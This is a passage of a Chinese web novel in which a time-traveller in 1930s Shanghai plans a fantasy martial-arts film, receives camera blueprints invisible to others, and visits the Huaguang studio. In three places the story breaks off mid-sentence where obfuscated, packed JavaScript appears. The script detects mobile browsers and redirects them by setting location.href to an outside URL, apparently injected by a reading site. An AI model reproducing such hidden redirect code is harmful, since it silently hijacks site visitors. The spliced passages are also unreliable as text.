白秋宁噗嗤笑了:“老式机器?你可别小瞧我们瑞星,那都是最新式、从国外专程进口的。等你亲眼见了,就知道了。” 18. 热门题材 周弥自知失言,只能打一个哈哈:"那我就等着开开眼界了。" 两人又商谈了一阵,约好了下次见面的日子。 等电灯也全数安妥,白秋宁告辞离去,周弥站在明晃晃的厅里,四下望了望,感慨这下可真是“楼上楼下,电灯电话”了。 她给孙祺瑶去了个电话,将碰面的时间定了下来,周日上午,孙祺瑶就领着珍珍如约而来了。 珍珍这回见了周弥,态度倒是客气许多,落落大方地自我介绍,说本名叫杜茗珍。 周弥给她们拿了点女孩子爱吃的零食,就和她们闲聊了一会儿,得知一会儿还有一位小姐要带摄影机来,两个人就很兴奋。 不知是不是被什么事绊住了,白秋宁却迟迟未到,三人干坐着也是无趣,周弥便先聊起了拍电影的事,先聊了会儿各自爱看的电影和喜欢的电影明星,周弥就把话题说到了即将拍摄的电影上: “既然准备要拍电影,我们不妨先想想拍什么类型。你们觉得,是古装片好,还是时装片好?” 孙祺瑶说:“我觉得时装片亲切些,能穿自己的衣裳,演起来也自然,而且……” 话说一半,杜茗珍抢着说,“就是因为亲切才没意思呢。想看时装片里的人物,去大街上看就好啦,为什么还要买票去电影里看?古装片的衣裳,谁都不会那样扮着在大街上出现的,看些平时看不到的,才值得回票钱呢。” 孙祺瑶话没说完就被拆台,也不恼,还是笑嘻嘻捧杜茗珍的场:“很有道理哎!珍珍看事情,总是比旁人想得深一层!” 杜茗珍眼底浮起一丝得色,正要再开口,外头传来一阵动静。 一行人提着食盒鱼贯而入,除了饭馆的伙计,还跟着个穿着体面的听差,上前笑眯眯道: “我们小姐家里临时有些事绊住了脚,现在还在路上,估摸着快要到了。她怕各位为等她误了用餐时间,特意从‘鸿运楼’订了一桌席面送来,一会儿大家边吃边聊。” 三人看去,只见伙计一碟一碟地往外端菜,一会儿圆桌上摆开了一席上等的鱼翅全席:排翅莹润透亮,高汤煨得金黄浓醇,配着鲍鱼、刺参、瑶柱等山珍海错,热汽氤氲里散着诱人的鲜香。 孙祺瑶今年虽也吃过两回酒席,只不过都是跟着家人去的红白事,吃的是寻常的八碗八碟,席上人多手杂,往往还没尝出滋味,菜便见了底。又瞧见伙计往外掏出好几瓶玻璃瓶装的外国汽水,瓶身凝着凉沁沁的水珠,看着便已口舌生津。 杜茗珍家境虽还不错,但距离顶富贵的家庭还是差一截,加上是个学生,家里管束又严,自然做不出随意便摆出一桌上等鱼翅席的排场。 刚才虽说这白小姐能带摄影机过来,她只顾着欢喜,也没细想,现在一琢磨,顿觉大事不妙。 她并不知道周弥原本只是想邀请孙祺瑶,还笃定周弥是看中自己的模样才邀来拍电影,孙祺瑶只是个附带品。 在她的内心中,女主角之位本是非她莫属,可未曾想过还有“白小姐”这么一个劲敌。 杜茗珍心想自己和周弥也算不上相熟,谁知道她是不是见钱眼开的人。再一细想,她们两个岂止是不熟,还曾经差点吵起来呢。 一想到自己的主角地位或许要生变,她的心里便像坠了块石头,正焦虑着,偏又瞧见孙祺瑶望着那桌菜,眼里掩不住的欢喜,那点烦躁顿时找到了出口: “瞧你这副垂涎三尺的模样,眼珠子都快掉进汤盅里了。丢人不丢人?" 其实孙祺瑶远远没有杜茗珍说的这么夸张,更没有什么失态之举。 要是私下杜茗珍这么说她,孙祺瑶其实也不会怎样,到现在守着这么多外人,她也不知道怎么的,突然觉得伤自尊起来,就硬邦邦地回了一句: "我并没有垂涎三尺。" 这一下,把杜茗珍搞得很不愉快。 要是在平日,孙茗珍再不乐意,也只会哄着她说:"珍珍,我没有垂涎三尺呀。" 今天这是怎么回事? 她眉梢一挑,正要再刺几句,门外却先传来一道清亮带笑的女声: “抱歉抱歉,有事耽搁了!不过来得时机倒是刚好,订的菜刚到,再早些嘛,要等,再晚些,可要吃凉的了。” 杜茗珍循声望去,只见一位身着鹅黄色洋装、头戴钟形帽的小姐步履轻快地走进来,方才那些伙计纷纷躬身退下,态度恭敬。 再看她与周弥熟稔说笑的模样,心下便猜着了八九分:这位定是白小姐了。 白秋宁自然也注意到了杜茗珍——她实在是生得明艳夺目,在人群中很难被忽略。 周弥顺势为双方引见,只是为白秋宁隐去了她的家世背景。 当然,这是白秋宁特意嘱咐过的,她怕人多口杂,把她在偷偷拍电影的事传到她父亲耳中。 “大家别客气,先吃饭!” 大家挨着坐了,几个人除了白秋宁,都不算非常活泼的性格,周弥倒还好,那两个年龄小些的女孩子,都有些放不太开。 白秋宁便寻些话题来暖场,无非是些影坛趣闻、明星八卦。说着说着,便聊到了光华电影公司的一位明星。 那明星正是杜茗珍心尖上的人,每部片子必看,首映礼也曾远远望见过真人。 她说得投入,末了轻声叹道:“若是能进光华做事就好了,那里的机器设备齐全,导演和老板也都是留洋回来的,制作的片子,质感到底不同。” 白秋宁听了,面上笑意未减,心里却老大不乐意。 不乐意并非因为杜茗珍想去光华,而是她觉得光华的影片有质感。 瑞星的流水线生产模式,片子出得快、卖得俏,可若论质感二字,确实沾不上边。 因此杜茗珍这么一说,说者无心听者却有了意。 “光华的片子就好么?”白秋宁唇角仍弯着,声音却淡了些,“我看倒未见得。如果真是处处都好,也不至于闹财务危机了。难道观众的眼睛都不识货?” 杜茗珍面上一窘,不再说话。 不说话是因为她吃着白秋宁定下的菜,气势上已经少了三分,一会儿还要用她的摄像机,气势就又少三分。 可平日被人捧惯了的人,哪咽得下这口闲气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023424|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?脸色眼见着淡下来,忍了忍,到底没忍住: “华光的老板家里是南洋数得着的大亨,家底厚的很,怎么会闹财务危机?” 白秋宁嘻嘻一笑,"老子是老子,儿子是儿子。怎么好混为一谈呢?" 杜茗珍还嘴:"老子英雄儿好汉,这肯定是不错的道理。他们公司的电影,确实拍的很好,你还是先去看看。" 周弥眼看气氛往针尖对麦芒的方向去,舀了碗汤递到白秋宁手边,笑着岔开话头: “别人家公司危机不危机,倒闭不倒闭,咱们也别操心,还不如操心一下咱们自己的事。这头一部片子,究竟拍个什么故事才好?” 孙祺瑶也赶忙跟着活络气氛:“我觉得珍珍说的古装片就挺好,不然咱们就拍古装?” 白秋宁接过汤碗:“妹妹,你这就不懂实际了。古装戏最是麻烦,行头、发髻、布景,样样费时费钱,眼下咱们做起来怕是吃力。” 这话本是就事论事,可落在杜茗珍耳中,却成了另一层意思。 她之前说了古装好,白秋宁却说“不合实际”,这不是当众驳她面子么? 情绪上了头,哪还顾得上细想自己说那话时白秋宁根本还未到场,只是顾着挽回面子。 她放下碗筷,拿出一派要辩论的架势:"现在最时兴的就是《西京神剑传》那一路的神怪武侠片!不是一部,是一连拍上十几部,部部都卖座。我每集都追,从我同学到我祖母,就没有不爱看的!我们也拍这个类型,还怕不能成功么?” 杜茗珍要拿别的举例也就罢了,《西京神剑传》正是瑞星出品的电影,被别人当面这么一夸,还是不知白秋宁身份的状态,可见不是刻意逢迎,而是真心赞美。 白秋宁当然觉得十分受用,马上接口道: "这个系列故事自然是非常好看的,如果要拍这种,我也赞同。只不过也得考虑我刚才说的实际问题。" 说完,就看向周弥,等她拍板。 周弥倒真觉得拍这种神怪武侠是个不错的主意。 民国银幕上的神怪武侠,本就是剑光与法宝齐飞、奇术共幻变一色的热闹戏码,若论起来,说是二十一世纪仙侠片的老祖宗也不为过。 至于白秋宁提出的那些现实难处——服装、道具、开销,她确有把握应对。众一公司那满满几仓库的古装行头与陈设已为她敞开,这现成的家底,比什么都说服力。 更重要的是,从电影史回顾这段时期,此时市面上这股神怪武侠的风潮,看似烈火烹油,实则早已烧到了顶点。跟风之作泛滥成灾,情节套路来回翻炒,观众那点新鲜劲儿早已磨得差不多了。 而周弥脑海里,却装着最新时代的仙侠创意。 什么“渡劫飞升”“三生三世”,什么“门派大比”“秘境夺宝”,再如“神魂契约”“本命法器”“废柴逆袭”…… 这些对于当下而言全然陌生的叙事元素,若是精心化用、揉进一个扎实的故事里,何愁不能耳目一新、大爆特爆? 可是她有一个最大的顾虑,而这个顾虑,是目前不会有人相信的。 19. 草台班子 根据电影史记载,距离当局以“反对怪力乱神”为由对神怪武侠片颁布封禁令,只剩下不到一年时间。 因此,若决定拍摄神怪武侠片,就必须在禁令落地前完成拍摄、后期制作和上映。 神怪武侠片在所有电影类型中,对工业技术和服装造型要求说是第二,其他不敢称第一。而她们目前却是个连人员都没攒齐全的草台班子。 所以,最后究竟是能成功"抢滩登陆",还是正正踩上红线,任谁也不敢打包票。 不过,心头那点对时限的隐忧只浮了片刻,便被胸中翻涌的创业热血盖了过去。自从来到这个世界,周弥还没在专业领域遇到过真正无解的难题。 “行,就拍神怪武侠!” 她爽快地为第一部作品拍板定调。 几人都兴奋起来,又围着桌子聊了好一阵细节后,白秋宁最先坐不住,跃跃欲试地要亮出她那台宝贝摄影机。 孙祺瑶和杜茗珍早就盼着这一刻,只是不好意思开口,此刻见白秋宁起身去取,也按捺不住地跟到门边。 杜茗珍一眼便瞧见门外停着的那辆漆黑锃亮的汽车,一名听差正依照吩咐,小心翼翼地从车里搬出一只裹着墨绿色绒布的木箱。 她心头咚咚直跳,不消说,这车一定是白秋宁的了。 这年头,汽车可是顶级的奢侈品,能拥有的人非富即贵。 她家境虽算宽裕,也不过是“人力车自由”,汽车是万万不敢想的。而这位白小姐年纪轻轻便有自己的车,家底之厚,可想而知。 这么想着,连看摄影机的心思都淡了,直到孙祺瑶拽着她的手乱摇,她才打起精神跟进屋去。 箱子此时已经放在桌上,白秋宁亲手揭开绒布,露出一台乌黑锃亮、线条硬朗的机器,金属外壳在灯下泛着冷冽的光。 “瞧瞧,”她指尖抚过机身,语气里满是藏不住的得意,特意转向周弥,“乌兹堡厂今年最新款。可不是什么‘老式机器’。” 她在“最新款”上咬得格外清晰,随即笑盈盈地对周弥道: “你来试试手感?” 周弥凑近细看,心里暗暗叫苦。 虽然不是没在教科书上见过图片,大概心里有个底,但实打实看到后,还是忍不住要感叹,这玩意儿和她熟悉的数字摄影机简直是两个世界的产物! 别的不说,她连开关在哪儿都找不着,摸索着拧了拧几个旋钮,终于在机身侧面发现一个金属拨杆。 看着像电源开关,也不知道是不是,反正秉持着大力出奇迹的理想,索性用力一推。 “咔哒”一声脆响,机身内传来细微的齿轮啮合声。 "开了开了!"孙祺瑶和白秋宁一起叫。 可取景器里依旧一片漆黑。 白秋宁“咦”了一声,孙祺瑶也好奇地凑过来。 开机了却没画面,多半是镜头盖或光路问题。周弥下意识去摸镜头前端—— 呃? 根本没有现代镜头那种可旋拧的盖子。 镜筒侧面倒是有个能滑动的金属片。她试探着轻轻一推。 “嗒”一声轻响,仿佛打开了什么闸门,几乎同时,取景器的毛玻璃上骤然映出清晰的、上下颠倒的客厅影像。 “成了!成了!”孙祺瑶和白秋宁又欢快地叫起来。 周弥心里却没她们那么轻松。 取景只是第一步。她清楚记得,这类老式摄影机可不是通电就能转的。 它得靠手摇。 这意味着拍摄时必须有人专门匀速摇动曲柄,一旦手速不稳,影片帧率就会波动,放映时必然出现恼人的顿挫或拖影。 另外,长时间的镜头也是对摇柄人体力和专注度的折磨,一场戏拍下来,手臂酸麻都是轻的。 至于那些需要精准卡点的复杂运镜?在手摇时代,那几乎是苛求,成败多半得看摇柄人的手感与天意。 所以说,除非升级设备,否则必须外聘专业摄影师,才可能在禁令落地前完成制作、抢滩上映。 但摄影师属于圈内人士,想要保守她和白秋宁的秘密,那风险还是太大了,这么想着,就觉得还是改造摄影机更好。 可改造……谈何容易?她可是纯纯的文科生,没有任何这方面的基因和知识。 再想到这三个等待培训的新人演员,《楚月关山》那一摊亟待落地的周边生意,以及神怪武侠片还没有写出来的剧本,真是一个头要胀成几个大。 唯独“商业间谍”这份差事,她做起来倒不觉得吃力。 毕竟电影史上明明白白记着的成功案例,她都如数家珍;至于那些失败或胎死腹中的项目,本就是无用的情报,自然也值不了几个钱。 一旁满腹心事的,还有杜茗珍。 方才众人的注意力都在摄影机上时,她的目光便已如细针般,悄悄别在了白秋宁身上。 她仔细端详,这位白小姐固然灵动清秀,可单论五官眉眼,还是自己更胜一筹。 杜茗珍是尝过家境起落滋味的人。幼时即便生得标致,周遭的善意也总是稀薄而吝啬;直到家里生意兴旺,旁人的夸赞与殷勤才忽然变得具体、频繁,甚至殷勤得有些刻意。 这让她早早明白了一个道理:美人的身份,也是以身价为转移的。 因此,她心里已笃定白秋宁必是内定的女主角。若真如此,自己难道要屈居配角? 她暗自咬了咬唇。 若是演不上主角,倒不如趁早抽身,去三大电影公司正经试镜。 既然能被周弥看中,说明自己确有入行的资质,何必困在这尚不成气候的“小作坊”里空耗? 不如先探探口风。若主角已定,她便不必在此空等了。心思一定,她便转向周弥,问道:“姐姐,这戏里的角色……不知是怎么安排的?” 周弥正思量着如何开口,见她主动问起,便顺势接话:“正好要和你们商量。秋宁以前也在剧组里面观摩过,跟你们比起来,是最有经验的,女主角的戏份,我打算请她来担。” 杜茗珍心里“咯噔”一沉。 果然。 她面上未动,只将视线轻轻转向一旁的孙祺瑶,仿佛随口关切:“那……瑶瑶呢?” 她不先问自己,而是先问孙祺瑶,里头藏着另一层掂量:若自己能演女二号,总归高孙祺瑶一头。 这样即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027645|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便已打定主意要走,心里也能好受些。 周弥笑道:“祺瑶和茗珍你,戏份相当,都是并列的女二号。” 周弥话音落下,孙祺瑶眼中立刻亮起惊喜的光,毕竟能演女二号,已远远超出了她的预期,毕竟她给自己的定位本来是某个露面几次的路人呢。 可“并列”二字落在杜茗珍耳中,却与“耻辱”无异。 她越发觉得,孙祺瑶带她做的事,桩桩件件都叫人失望,每次总是先将她捧得高高的,再让她重重跌下来。 上次拍美术照是如此,这次还是如此。 她不便对周弥或白秋宁流露情绪,可对孙祺瑶,却是无需顾忌的。此刻见对方那副掩不住的兴奋模样,心头的火更是“噌”地窜了起来。 于是倏地站起身道:“两位姐姐,我在这儿坐了一整天,功课半个字也没写。得回去了。” 又用眼风扫过孙祺瑶,冷冷道:“瑶瑶你呢?还不走?再这样荒废下去,我看期末你又要排倒数了。” 孙祺瑶看杜茗珍撩下这句话已经自顾自去了,赶忙也起身和周弥白秋宁道别,追了出去。 将两人送走,白秋宁关上门,转身便对周弥笑道:“你从哪里寻来这么两位女学生?” 周弥将照相馆前的事简单说了,白秋宁笑道:“那难怪了,那位姓杜的女学生,看着就心气很高。刚才你说让她和那位姓孙的女学生并列女二,她脸色瞬间就很不好看。看她走的时候,虽然对我们说了客气话,但看得出来是很不满的,就是不知是对朋友不满,还是对我不满。” 周弥笑道:“我想,恐怕是都不满吧!” 白秋宁点头笑道:“其实我也是这么想的,她长得很漂亮,应该是预备做女主角的,可你是答应我的,不能看谁更漂亮就食言而肥了。" 周弥道:"是么?我倒是没觉得她更漂亮呢,你们是各有千秋,但在我看来,更喜欢你这种风格。" 白秋宁明知周弥是为了让她开心,还是很受用,捂住嘴笑了一会儿,道:"只是照这情形,她未必还愿意来拍我们的片子了。” 周弥道:“其实我也是这么想的。” 白秋宁听她故意模仿自己语气,忍不住捉住她的手摇了两摇:“你学我做什么?” 两人笑了一阵,周弥才正色道:“她要是不愿意来,那就算了。其实我本意也只想招孙祺瑶。” 随即将孙祺瑶如何处处听从杜茗珍的安排说给白秋宁听了,然后补充道:“所以才让她们一同来,免得为难。” 白秋宁蹙眉:“那你这么一弄,那位孙同学岂不是也不肯来了?不过,我觉得不来也罢。杜同学虽美,可拍电影讲的是众人合力,她这样心里眼里容不下人,迟早要出问题。至于孙同学嘛……” 她忽然笑了笑,眼波转向周弥,“我一向佩服你的眼光,可这回实在不明白,你为什么非要拉她拍电影?她瞧着实在平平无奇。我话说得直,你可别恼。” 周弥非但不恼,心里简直爽翻了天。 别人都觉得不行的,偏被她一眼相中,将来还要亲手捧成影后。光是想想,那份“众人皆醉我独醒”的快意,就从心底咕嘟咕嘟冒上来。 20. 偷偷创业(三) 白秋宁哪知道她正暗爽,转而又问:“剧本可想好了?我上回带来的小说里,可有不少时下流行的。像平江不肖生的《江湖奇侠传》,顾明道的《荒江女侠》,听说最近又出来剑仙小说正在连载…我喜欢极了,不过还没完本,成不了一个完整的故事。” 周弥点头道:“我都翻过了,不过我觉得直接怕别人的故事,总觉着缺了点儿意思。我倒有个想法——咱们拍个‘穿书’版的神怪武侠。” “穿书?”白秋宁眨眨眼,“什么意思?” “就是……咱们这些当代人,穿越进书里头去。” “什么叫穿越?”白秋宁还是搞不明白,满脸写着“这又是什么新鲜说法”。 周弥忍着笑解释:“简单说,就是你一觉醒来,发现自己成了书里的某个角色,开始经历原书中的故事情节。” “呀!”白秋宁轻呼一声,眸光骤然亮起来,“这不就同附身一个道理么?身子还是书里人的,魂儿却换成了我的!我要是附身成了书里的角色,一定要叫她活得比原本痛快百倍!” 她越说越兴奋,索性将平日里看那些故事时积攒的不满,一桩桩、一件件,全都絮絮地倒给周弥听说直说到暮色四合,窗外亮起疏疏的灯火,才依依不舍地起身告辞。 周弥独自坐了会儿,提笔写了片刻剧本,正凝神间,听到有人在外头敲门。 她打开门,看到门外的人是阿勇,寒暄几句后,阿勇搓着手道:“周小姐,有桩怪事。您先前住过的那屋,挂钟近来不走针了,我叫人拆开修整,结果在钟肚子里摸出个小册子。” 他顿了顿,神色有些迟疑,“这近一个月,也就您在那屋里住过……您瞧瞧,可是您收在里头的?” 周弥心下诧异,谁会往挂钟里头塞东西?面上却不显,只伸手接过那本薄薄的小册子。 翻开一看,她心头猛地一跳。 竟是电力摄影机的工程图样,线条清晰,标注工整。她暗暗吃惊,正要开口询问,阿勇却挠着头先说了: “我家里那口子说这册子上空空如也,半个字也没有,肯定不是您的,应该是谁家小孩子的画画用的练习本子,调皮塞进去的。我觉得还是直接拿来给您瞧瞧好。” 空白的? 周弥抬眼看向阿勇茫然的脸,什么意思,他们看不见? 一股奇异的电流瞬间窜遍全身,震惊过后,是几乎压不住的狂喜: 哈哈哈哈哈哈哈! 嘻嘻嘻嘻嘻嘻! 嘿嘿嘿嘿嘿! 这么离奇的事,只能是她的金手指了! 无数蓝图在脑中轰然展开:更新技术、跨越壁垒,把另一个时代最先进的光影魔法,统统搬运到这个默片将尽的世界。 神怪片最烧什么?特效! 如果说她那个年代的仙侠剧特效常被嘲“五毛”,那眼下这民国影坛的,怕是连“一厘”都勉强。 她要是能亲手把这一厘特效,砸成实打实的五毛…… 光是想象那剑光如虹、腾云驾雾的画面在银幕上炸开,观众目瞪口呆的样子,她就兴奋得指尖发麻。 她把那图纸一合,道:“确实是我留下的要紧东西,那时你对我实在不客气,我怕你起坏心抢了去,就悄悄藏进了钟里。如今想来,或许还有些随身小物件遗漏在屋里,正好一并去瞧瞧。” 阿勇本想脱口而出,那屋里除了一张床、一座钟,空空如也,若有东西早该看见了,又品出周弥话里很有责怪他当初对她鲁莽凶悍的意思,于是话到嘴边,又连忙咽了回去。 转身去街边叫了两辆人力车,一前一后排开,请周弥上车,自己则跟在后面那辆,两人一起往弄堂方向去了。 车轮辘辘,周弥独自坐在前头那辆车里,反复看着那张图纸,兴奋如潮水般涌了上来。 既然这么着,那她就可以解锁好多新技术的制作了,脑子里一阵乱想,越想越兴奋,不一会儿就到了阿勇家。 周弥抢先付了两人的车钱,阿勇老婆已闻声迎了出来,几人站在门口说了几句闲话,周弥便顺势提出要再看看那间屋子。 她打开钟壳,里里外外仔细检视了一番,除了寻常的机芯齿轮,空空如也。 她心念一动,试探着在心里默念最迫切的需求,指尖轻叩钟壁。 敲敲敲,敲敲敲? 也没有什么反应,并没有新的图纸凭空出现。 她不死心,又贴近了些,几乎将半张脸都探进钟壳里,目光一寸寸逡巡。 盯得久了,颈后竟隐隐有些发酸。她直起身,刚想活动一下脖颈,却猛地对上了两道直勾勾的视线… 阿勇夫妻俩不知何时已悄悄站在了门边,正一脸茫然地望着她,见她突然回头,两人俱是一怔,表情僵在脸上,写满了“这位小姐在做什么”“我们该不该问”的不知所措。 三双眼睛在煤油灯昏黄的光芒下碰个正着,空气里飘起一丝微妙的尴尬。 周弥清了清嗓子,打了个哈哈:“我帮你们看看,这钟修得到底牢不牢靠。” 阿勇夫妻俩立刻从善如流地堆起笑,连连点头:“哎,哎,周小姐费心。那……修得还成么?” “还成,还成。” 周弥含糊应着,指尖无意识地搔了搔鬓角,目光又飘向那座钟,语气带上了几分刻意的随意,“说起来,这钟的样式,我瞧着怪喜欢的。能不能卖给我呢?” 阿勇和妻子对视一眼,忙不迭摆手: “周小姐这话可就见外了!您想要,直接拿走便是,还提什么卖不卖的!” “就是就是,一个旧钟罢了,您肯要,是我们的体面!” 两人一唱一和,态度殷勤得近乎惶恐,倒让周弥那点“强占民钟”的心虚,又深了几分。 她还是从身上掏出些钱,塞进阿勇手里:“你母亲的病,好些了吧?这些钱拿着,别在药钱上短了。要是有富裕,也可以装上电灯。” 阿勇大喜,一边接钱,一边忙不迭点头:“好些了,好些了,全托您的福!”直到他妻子在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035132|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁悄悄拍他手背,他才又恍然地往回推。 周弥示意他们收下,又关怀了几句,心思早已飞回了那张图纸上,急不可耐地匆匆告辞,阿勇殷勤地追到巷口,替她叫好了人力车。 一上车,周弥就开始迫不及待地将那个钟研究起来。 先是把钟搁在膝上,翻来覆去地细看,又一会儿指尖叩击木壳,一会儿侧耳倾听回响,嘴里还无意识地念念有词:“难道要特定的时辰?还是得对着月光?或者……得念什么口诀?” 正琢磨得入神,忽然瞥见前方车夫偷偷侧着脸往后瞅,眼神里满是“这位客人怕不是有点毛病”的怜悯与好奇。 周弥耳根一热,只能暂时先偃旗息鼓了。 到了公馆门口,她下车付钱,几乎是抱着钟一路小跑进去。 挂钟上墙,她又双手合十,闭眼默念,把想要的技术工程图全部念叨了个遍。 当然还是…什么也没发生。 她把手伸进钟内部又抠了抠,确认确实无事发生之后,实在忍不住要吐槽:这金手指也太难伺候了! 怎么就不能让她拥有一个“系统”呢?随叫随到,指引清晰,积分兑换,童叟无欺。 唉! 罢了罢了!人还是得知足嘛!感恩一切! 或许这些技术工程图是隐藏积分制来解锁的?就像某个知名岛建游戏那样,得完成隐藏任务积累点数,才能解锁对应的制作配方。 可是人家是有任务指引的,她这算什么?全是隐藏任务靠自己探索?这也太… 对了对了!说好人要知足!感恩一切! 既然现在有这个摄影机的图纸,不然就先研发出来,解决当务之急,其他的且行且看,以后再说。 她捻亮台灯,让光线清晰地铺满桌面,又把图纸在桌上细细摊开,提笔开始临摹。 这么做有两个缘由: 一来,这图样旁人瞧不见,她必须做那个“知识的搬运工”,将另一个时代的智慧,一笔一画复刻到这个时空。 二来,临摹本身也是钻研的过程。她想拿着图纸去同技术人员商谈合作,自己总不能对其中关窍一窍不通。 直画到夜深,也不过完成四分之一。她揉着发酸的手腕,心知肚明:即便通过临摹对机械原理取得一定了解,也只是很浅层的知识,绝不代表她能自己造的出来。 专业的事还得专业的人去做,比如那位在旧金山同学会见过面的林秀山教授。 李记元介绍时提过,这位教授醉心机械改造,家中太太又是个电影迷。若是将图纸交予他,他一定会倾力一试。 只是当时匆匆一面,并未深交,更未交换名片,直接去林秀山就职的沪江大学寻人自然可行,但周弥心里已想出个更周全的念头—— 不如请陆世铮引荐。 他们也是校友,又在上海各有根基,必然相识。借陆世铮之手牵这条线,名正言顺,也更显得郑重。 况且……这其中还藏着一层“一鱼两吃”的妙处。 21. 偷偷创业(四) 华光电影公司里,有一样,实实在在地勾起了她的心思。 如果说众一的优势在于多年积累的、考据精良的服化道和布景库藏,瑞星是强大的市场嗅觉和营销手段,那么华光的核心竞争力,则在于它堪称雄厚的人才储备。 作为三大公司中唯一留学归国的老板,陆世铮带回的不仅是好莱坞的见闻,更有实打实的人脉与眼界。华光内部,悄然聚集了一批受过西式教育、深谙电影工业流程的骨干。 瑞星固然因资历老而对有声电影布局较早,但若论未来技术研发的潜力与速度,华光无疑更具优势——关键便在于这些人。 眼下这些人虽还不能为她所用,但在这个时代,深入学习电影制作的具体技艺,却是她必须补上的一课。 譬如剪辑,此时可没有剪辑软件,全靠手工持剪刀在胶片上“咔嚓”一声,一帧都不能错。 再如配乐,没有数字音源,更无合成器,需请乐队现场演奏录制,或从现成唱片中艰难扒带。 还有现场收音,如何在嘈杂的片场如何避免杂音、清晰收录对白。 洗印技术,如何控制药水温度与时间,让胶片呈现出理想的影调层次。 特技摄影,如何通过二次曝光、模型拍摄、手工逐帧绘制,实现那些天马行空的视觉效果。 这一切,都是这个时代电影人亲手打磨的“手艺”。 眼下正值默片向有声电影转型的关键时期,她对自己的要求是,第一部电影不仅在有声技术上足够领先,在其他技术上也要有所开拓。 只有这样,才能让她这个小作坊横空出世,一举奠定地位。 只要她发展出了自己的团队,她相信身份问题自然也不再是问题,不是有句话这么说嘛: 自有大儒为你辩经。 翌日,她便去了光华公司寻陆世铮。 阿勇口中那位“很会搡人”的门房一见她,脸上立刻堆起十二分的笑。 上回陆先生亲自送她到门口的情形,他可是记得清清楚楚,当即便殷勤道:“陆先生在片场监工呢,周小姐这边请。”说着便引她进去。 既是往公司深处走,今日拍的必然是棚内戏了。 这年代的电影虽也有实景拍摄,但多数还是在棚内搭景。一来设备笨重,移动不易;二来灯光条件有限,外景实拍常受天气与光线掣肘。 走进片场,眼前景象与她曾在教科书里读到的相差无几:偌大一个摄影棚,被分隔成五六个不同的布景区。 有仿苏州园林的月洞门与假山,有西式客厅的壁炉与丝绒沙发,还有挂着“仁德堂”匾额的中药铺子、贴着月份牌美人画的石库门客堂间,甚至角落里还搭着一处仿码头栈桥的木板景,悬着几盏昏黄的马灯… 穿过那片搭着古城门楼的街景棚,周弥远远便看见陆世铮穿着衬衫马甲,站在一台庞大的箱式摄影机后,正与导演低声交谈。 他余光瞥见周弥,先是一怔,随即眼底便漾开惊喜和温煦笑意,转身快步迎了过来: “周小姐,今日怎么得空过来?” 周弥道:"我自然是无事不登三宝殿。" 陆世铮不禁笑上加笑。 这句话一般都是由被拜见的人向前来拜见的人说,第一次见这样反过来的,这位周小姐每次说话,总是这样出人意表,这样有趣。 陆世铮并来并不是一个讷于言的人,但是在她面前,却经常被这种出人意表打乱节奏,一下子不由也调皮心起,想调侃一下她,便笑道: "那么,周小姐是有什么事呢?是不是后悔拒绝了华光的顾问职务,来这讨后悔药来了?" 周弥笑道:"如果我说是,那你这里有后悔药发么?" 陆世铮心头一喜,又听她对自己的称呼从“您”换作了“你”,说明她对自己更比之前更为亲近,不由喜上加喜,笑道:“自然有。只要你愿意,随时为你敞开。” 周弥嘻嘻一笑,两只手在"仁德堂"的道具柜台一撑:“不过我今日来,主要还是为另一件事。” 她也不卖关子:“上次同学会,与林秀山教授有过一面之缘,可惜未留联系方式。你们既是校友,每年又常在聚会中相见,想来应该是相熟的吧?不知可否为我再次引荐呢?” 陆世铮当即应下:“这有何难。”话刚出口,又忍不住追问,“找他是为的什么呢?” 话音刚落,便自觉失言。别人要你帮忙约人,自然是有事要谈,若人家想告诉你,一开始就会先说明缘由,若不想告诉你,想必就是私事。 可或许就为私事,让他才忘记了边界,不觉心中怦怦跳了一阵,不知自己这是怎么了。不管如何,话已出口,也只得连忙补上一句转圜: “若是私事,就不用告诉我。” 周弥很坦荡:“我得了一份摄影机改良的图纸,想请他帮着瞧瞧。“具体的,你到时候便知道啦!” 陆世铮看周弥的性格实在爽朗,言语神态又总是如此俏皮,心中又是一动,笑道:“据我所知,林太太也是个电影迷。不如我做东,请他们夫妇和我们两人一同吃个便饭?” 周弥爽快应下:“好。” 两人又闲谈片刻,陆世铮忽而想起什么,笑意里带了几分认真:“周小姐方才说接受华光顾问之职,可是当真?” 周弥眼尾微扬:“自然当真。我如果要在这种事上客套,何必等到此刻才客套?” 陆世铮眼底笑意更深,当即道:“既然已是自己人,不如我带你看看华光各处?”说着便引她往片场深处走去。 第一站去的是剧本部。 